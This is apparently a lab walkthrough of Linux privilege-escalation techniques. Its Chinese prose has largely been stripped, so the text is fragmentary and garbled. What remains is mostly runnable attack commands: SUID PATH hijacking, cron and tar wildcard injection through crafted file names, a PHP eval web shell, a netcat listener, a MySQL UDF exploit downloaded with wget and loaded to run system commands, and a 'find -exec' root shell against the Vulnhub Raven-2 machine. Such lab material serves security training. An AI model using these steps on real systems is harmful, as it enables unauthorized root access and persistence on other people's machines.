



-Linux & &





# Linux

---



Linux

-Aliyun

Linux

-Aliyun

Linux

-Vulnhub

Linux

-

```
# 1 Linux -Aliyun
```

```
SUID -  
- - -
```

```
gcc demo.c -o shell  
cp /bin/sh /tmp/ps  
export PATH=/tmp:$PATH  
./shell  
id
```

```
# 2-Linux -Aliyun
```

```
#
```

```
cat /etc/crontab  
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh  
chmod +x /home/xiaodi/test.sh  
/tmp/bash  
#
```

```
cd /home/undead/script;tar czf /tmp/backup.tar.gz *  
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh  
echo "" > "--checkpoint-action=exec=sh test.sh"  
echo "" > --checkpoint=1
```

<https://www.cnblogs.com/manong-/p/8012324.html>

```
#
```

```
chmod 777 775
```

```
# 3 Linux MySQL_UDF-Vulnhub
Vulnhub - IP - web - Mysql
Linux Mysql Windows
```

```
# IP
nmap 192.168.76.0/24
# phpmailer
python D:/Myproject/40974.py
nc -lvvp 4444
#
echo '<?php eval($_POST[x]);?>'>1.php
```

```
./LinEnum.sh
```

```
root
# Mysql searchsploit
mysql udf poc
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
1518
wget https://xx.xx.xx.xx/1518.so
UDF
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into outfile '/usr/lib/mysql/plugin/1518.so';
do_system
create function do_system returns integer soname '1518.so'
select do_system('chmod u+s /usr/bin/find');
# find
touch xiaodi
find xiaodi \exec "whoami" \;
find xiaodi \exec "/bin/sh" \;
id
```

```
# 4-Linux - PDF
1. (SUID, , )
2. ( ) ( )
3. searchsploit exploitable
4. guid sudo ( )
SUDO https://www.freebuf.com/vuls/217089.html
```

---



<https://www.exploit-db.com/>

<https://www.vulnhub.com/entry/raven-2,269/>

<https://github.com/offensive-security/exploitdb>

---